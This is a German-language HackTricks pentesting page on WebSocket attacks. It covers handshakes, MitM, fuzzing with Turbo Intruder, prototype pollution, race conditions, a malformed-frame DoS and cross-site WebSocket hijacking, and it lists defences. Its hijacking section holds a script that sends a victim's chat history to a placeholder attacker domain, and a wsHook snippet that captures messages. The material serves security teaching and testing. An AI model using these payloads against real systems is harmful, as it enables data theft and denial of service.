WebSocket-Angriffe
Reading time: 15 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was sind WebSockets
WebSocket-Verbindungen werden durch einen initialen HTTP-Handshake hergestellt und sind dafür ausgelegt, dauerhaft zu bestehen, sodass bidirektionale Nachrichtenübermittlung jederzeit möglich ist, ohne ein transaktionales System zu benötigen. Dadurch sind WebSockets besonders vorteilhaft für Anwendungen, die geringe Latenz oder vom Server initiierte Kommunikation erfordern, wie z. B. Live-Finanzdaten-Streams.
Aufbau von WebSocket-Verbindungen
Eine detaillierte Erklärung zum Aufbau von WebSocket-Verbindungen finden Sie here. Zusammenfassend werden WebSocket-Verbindungen üblicherweise über clientseitiges JavaScript initiiert, wie unten gezeigt:
var ws = new WebSocket("wss://normal-website.com/ws")
Das wss
-Protokoll kennzeichnet eine WebSocket-Verbindung, die mit TLS gesichert ist, während ws
eine ungesicherte Verbindung anzeigt.
Während der Verbindungsherstellung wird zwischen Browser und Server über HTTP ein Handshake durchgeführt. Der Handshake-Prozess besteht darin, dass der Browser eine Anfrage sendet und der Server antwortet, wie in den folgenden Beispielen dargestellt:
Browser sendet eine Handshake-Anfrage:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Server-Handshake-Antwort:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Sobald die Verbindung hergestellt ist, bleibt sie offen, sodass Nachrichten in beide Richtungen ausgetauscht werden können.
Wichtige Punkte des WebSocket-Handshakes:
- Die Header
Connection
undUpgrade
signalisieren den Beginn eines WebSocket-Handshakes. - Der Header
Sec-WebSocket-Version
gibt die gewünschte WebSocket-Protokollversion an, üblicherweise13
. - Ein in Base64 codierter Zufallswert wird im Header
Sec-WebSocket-Key
gesendet, wodurch jeder Handshake eindeutig ist; das hilft, Probleme mit Caching-Proxies zu vermeiden. Dieser Wert dient nicht zur Authentifizierung, sondern zur Bestätigung, dass die Antwort nicht von einem falsch konfigurierten Server oder Cache erzeugt wurde. - Der Header
Sec-WebSocket-Accept
in der Serverantwort ist ein Hash desSec-WebSocket-Key
und bestätigt die Absicht des Servers, eine WebSocket-Verbindung zu öffnen.
Diese Eigenschaften stellen sicher, dass der Handshake-Prozess sicher und zuverlässig ist und den Weg für effiziente Echtzeitkommunikation ebnet.
Linux-Konsole
Du kannst websocat
verwenden, um eine rohe Verbindung zu einem WebSocket herzustellen.
websocat --insecure wss://10.10.10.10:8000 -v
Oder um einen websocat server zu erstellen:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket-Verbindungen
Wenn du feststellst, dass Clients von deinem aktuellen lokalen Netzwerk mit einem HTTP websocket verbunden sind, könntest du einen ARP Spoofing Attack versuchen, um einen MitM attack zwischen dem client und dem server durchzuführen.
Sobald der client versucht, sich mit dir zu verbinden, kannst du dann verwenden:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets-Aufklärung
Du kannst das Tool https://github.com/PalindromeLabs/STEWS verwenden, um automatisch websockets zu entdecken, zu fingerprinten und nach bekannten vulnerabilities zu suchen.
Websocket Debug-Tools
- Burp Suite unterstützt MitM websockets communication auf sehr ähnliche Weise wie bei regulärer HTTP-Kommunikation.
- Die socketsleuth Burp Suite extension ermöglicht eine bessere Verwaltung von Websocket communications in Burp, indem sie die history erfasst, interception rules setzt, match and replace Regeln verwendet sowie Intruder und AutoRepeater nutzt.
- WSSiP: Kurz für "WebSocket/Socket.io Proxy", dieses Tool, geschrieben in Node.js, bietet eine Benutzeroberfläche zum capture, intercept, send custom messages und zur Anzeige aller WebSocket- und Socket.IO-Kommunikationen zwischen Client und Server.
- wsrepl ist ein interactive websocket REPL, speziell für pentesting entwickelt. Es bietet eine Schnittstelle zum Beobachten incoming websocket messages and sending new ones, mit einem benutzerfreundlichen Framework zur automating dieser Kommunikation.
- https://websocketking.com/ ist eine Weboberfläche, um mit anderen Seiten über websockets zu kommunizieren.
- https://hoppscotch.io/realtime/websocket bietet neben anderen Kommunikationsarten/Protokollen eine Weboberfläche, um mit anderen Seiten über websockets zu kommunizieren.
Websocket entschlüsseln
Websocket-Lab
Im Burp-Suite-Extender-Montoya-Course findest du Code, um eine Webanwendung mit websockets zu starten, und in diesem Beitrag eine Erklärung dazu.
Websocket Fuzzing
Die Burp-Erweiterung Backslash Powered Scanner erlaubt jetzt auch das Fuzzing von WebSocket-Nachrichten. Mehr Informationen dazu findest du hier.
WebSocket Turbo Intruder (Burp extension)
PortSwiggers WebSocket Turbo Intruder bringt Turbo Intruder–artigen Python-Scripting und High‑Rate-Fuzzing zu WebSockets. Installiere es aus dem BApp Store oder aus dem Source. Es enthält zwei Komponenten:
- Turbo Intruder: High‑volume messaging zu einem einzelnen WS-Endpunkt unter Verwendung custom engines.
- HTTP Middleware: stellt einen lokalen HTTP-Endpunkt bereit, der Bodies als WS-Nachrichten über eine persistente Verbindung weiterleitet, sodass jeder HTTP‑basierte Scanner WS-Backends prüfen kann.
Grundlegendes Skriptmuster, um einen WS-Endpunkt zu fuzzen und relevante Antworten zu filtern:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Verwende Dekoratoren wie @MatchRegex(...)
, um Rauschen zu reduzieren, wenn eine einzelne Nachricht mehrere Antworten auslöst.
WS hinter HTTP vermitteln (HTTP Middleware)
Kapsle eine persistente WS-Verbindung und leite HTTP-Bodies als WS-Nachrichten weiter für automatisierte Tests mit HTTP-Scannern:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Sende dann lokal HTTP; der body wird als WS-Nachricht weitergeleitet:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Das ermöglicht es dir, WS-Backends anzusteuern, während du nach „interessanten“ Events filterst (z. B. SQLi-Fehler, auth bypass, command injection-Verhalten).
Socket.IO handling (handshake, heartbeats, events)
Socket.IO fügt eine eigene Framing-Schicht über WS hinzu. Erkenne es über den obligatorischen Query-Parameter EIO
(z. B. EIO=4
). Halte die Session mit Ping (2
) und Pong (3
) am Leben und starte die Unterhaltung mit "40"
, dann emit events like 42["message","hello"]
.
Intruder example:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP-Adapter-Variante:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Erkennen von serverseitiger prototype pollution über Socket.IO
Folge PortSwigger’s sicherer Detektionstechnik und versuche, die Interna von Express zu verschmutzen, indem du eine Nutzlast wie folgt sendest:
{"__proto__":{"initialPacket":"Polluted"}}
Wenn Greetings oder Verhalten sich ändern (z. B. echo enthält "Polluted"), haben Sie wahrscheinlich serverseitige prototype pollution verursacht. Die Auswirkungen hängen von erreichbaren sinks ab; korrelieren Sie mit den gadgets im Node.js prototype pollution-Abschnitt. Siehe:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions mit Turbo Intruder
Die Default-Engine bündelt Nachrichten auf einer Verbindung (guter Durchsatz, schlecht für races). Verwenden Sie die THREADED engine, um mehrere WS-Verbindungen zu spawnen und Payloads parallel abzuschießen, um logische Races (double‑spend, token reuse, state desync) auszulösen. Starten Sie mit dem Beispielskript und passen Sie die concurrency in config()
an.
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Erzeugen Sie WS-Frames, deren Header eine sehr große Payload-Länge angibt, aber keinen Body senden. Manche WS-Server vertrauen der Länge und pre‑allocaten Buffers; das Setzen nahe Integer.MAX_VALUE
kann zu Out‑Of‑Memory und einem remote unauth DoS führen. Siehe das Beispielskript.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
- Aktivieren Sie den WS Logger, um Nachrichten mit internen IDs zu erfassen und zu korrelieren.
- Verwenden Sie
inc*
/dec*
-Hilfen aufConnection
, um das Message-ID-Handling in komplexen Adaptern anzupassen. - Dekoratoren wie
@PingPong
/@Pong
und Helfer wieisInteresting()
reduzieren Rauschen und halten Sessions am Leben.
Operational safety
Hochfrequentes WS-Fuzzing kann viele Verbindungen öffnen und Tausende Nachrichten pro Sekunde senden. Fehlerhafte Frames und hohe Raten können echten DoS verursachen. Verwenden Sie es nur dort, wo es erlaubt ist.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, auch bekannt als cross-origin WebSocket hijacking, wird als spezifischer Fall von Cross-Site Request Forgery (CSRF) angesehen, der WebSocket-Handshakes betrifft. Diese Schwachstelle entsteht, wenn WebSocket-Handshakes ausschließlich über HTTP cookies authentifizieren, ohne CSRF tokens oder ähnliche Schutzmaßnahmen.
Angreifer können dies ausnutzen, indem sie eine bösartige Webseite hosten, die eine Cross-Site-WebSocket-Verbindung zu einer verwundbaren Anwendung initiiert. Folglich wird diese Verbindung als Teil der Sitzung des Opfers mit der Anwendung behandelt, wodurch das Fehlen von CSRF-Schutz im Session-Handling ausgenutzt wird.
Damit dieser Angriff funktioniert, sind folgende Voraussetzungen erforderlich:
- Die websocket Authentifizierung muss cookie-basiert sein
- Das Cookie muss vom Server des Angreifers zugänglich sein (das bedeutet üblicherweise
SameSite=None
) und es darf keine Firefox Total Cookie Protection in Firefox aktiviert sein und keine blocked third-party cookies in Chrome. - Der websocket-Server darf die Origin der Verbindung nicht prüfen (oder dies muss umgehbar sein)
Auch:
- Wenn die Authentifizierung auf einer lokalen Verbindung (zu localhost oder zu einem lokalen Netzwerk) basiert, wird der Angriff will be possible, da kein derzeitiger Schutz ihn verhindert (check more info here)
Simple Attack
Beachten Sie, dass beim establishing einer websocket-Verbindung das cookie an den Server sent wird. Der server könnte es verwenden, um jeden specific user mit seiner websocket session based on the sent cookie zu verknüpfen.
Wenn zum example der websocket server sends back the history of the conversation eines Benutzers, wenn eine msg mit "READY" gesendet wird, dann kann ein simple XSS, das die Verbindung herstellt (das cookie wird sent automatically, um den Opfer-Benutzer zu autorisieren), durch das sending "READY" in der Lage sein, die History der conversation abzurufen.:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie with a different subdomain
In diesem Blogpost https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ gelang es dem Angreifer, beliebiges Javascript in einer subdomain der Domain auszuführen, in der die websocket-Kommunikation stattfand. Da es sich um eine subdomain handelte, wurde das cookie gesendet, und weil der Websocket die Origin nicht richtig prüfte, war es möglich, mit ihm zu kommunizieren und tokens zu stehlen.
Stealing data from user
Kopiere die Webanwendung, die du vortäuschen möchtest (z. B. die .html-Dateien) und füge innerhalb des Skripts, in dem die websocket-Kommunikation stattfindet, diesen Code ein:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Jetzt lade die Datei wsHook.js
von https://github.com/skepticfx/wshook herunter und speichere sie im Ordner mit den Web-Dateien.
Wenn die Webanwendung exponiert ist und ein Benutzer sich verbindet, kannst du die gesendeten und empfangenen Nachrichten via websocket stehlen:
sudo python3 -m http.server 80
CSWSH Schutzmaßnahmen
Der CSWSH-Angriff beruht darauf, dass sich ein Benutzer mit einer bösartigen Seite verbindet, die eine websocket connection zu einer Webseite öffnet, bei der der Benutzer bereits angemeldet ist, und sich als dieser authentifiziert, da die Anfrage die user's cookies sendet.
Heutzutage ist es sehr einfach, dieses Problem zu verhindern:
- Websocket server checking the origin: Der websocket server sollte immer prüfen, von wo sich ein Benutzer verbindet, um zu verhindern, dass unerwartete Seiten eine Verbindung zu ihm herstellen.
- Authentication token: Anstatt die Authentifizierung auf einem cookie zu basieren, könnte die websocket connection auf einem token basieren, das vom Server für den Benutzer erzeugt wird und dem Angreifer unbekannt ist (z. B. ein anti-CSRF token).
- SameSite Cookie-Attribut: Cookies mit dem
SameSite
-WertLax
oderStrict
werden von einer externen Angreiferseite nicht an den Zielserver gesendet; daher wird eine auf cookies basierende Authentifizierung nicht erfolgreich sein. Beachte, dass Chrome jetzt standardmäßig den WertLax
für Cookies setzt, bei denen dieses Flag nicht angegeben ist, wodurch sie standardmäßig sicherer werden. Allerdings haben Cookies in den ersten 2 Minuten nach ihrer Erstellung den WertNone
, wodurch sie in diesem begrenzten Zeitraum verwundbar sind (es wird erwartet, dass diese Maßnahme irgendwann entfernt wird). - Firefox Total Cookie Protection: Total Cookie Protection isoliert cookies auf der Site, auf der sie erstellt werden. Im Grunde hat jede Site ihre eigene Cookie-Speicherpartition, um zu verhindern, dass Dritte den Browserverlauf eines Nutzers verknüpfen. Dadurch wird CSWSH unbrauchbar, da die Angreiferseite keinen Zugriff auf die cookies hat.
- Chrome third-party cookies block: Dies kann außerdem verhindern, dass das cookie des authentifizierten Benutzers an den websocket server gesendet wird, selbst wenn
SameSite=None
gesetzt ist.
Race Conditions
Race Conditions in WebSockets sind ebenfalls möglich, siehe diese Information, um mehr zu erfahren.
Andere Schwachstellen
Da Web Sockets ein Mechanismus sind, um Daten an Server- und Client-Seite zu senden, können abhängig davon, wie Server und Client die Informationen verarbeiten, Web Sockets verwendet werden, um mehrere andere Schwachstellen auszunutzen, wie XSS, SQLi oder andere übliche Web-Vulnerabilities, indem Eingaben eines Benutzers über eine websocket verwendet werden.
WebSocket Smuggling
Diese Schwachstelle könnte es ermöglichen, die Einschränkungen von reverse proxies zu umgehen, indem man sie dazu bringt zu glauben, dass eine websocket communication etabliert wurde (auch wenn das nicht der Fall ist). Dadurch könnte ein Angreifer auf versteckte Endpunkte zugreifen. Für mehr Informationen siehe die folgende Seite:
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.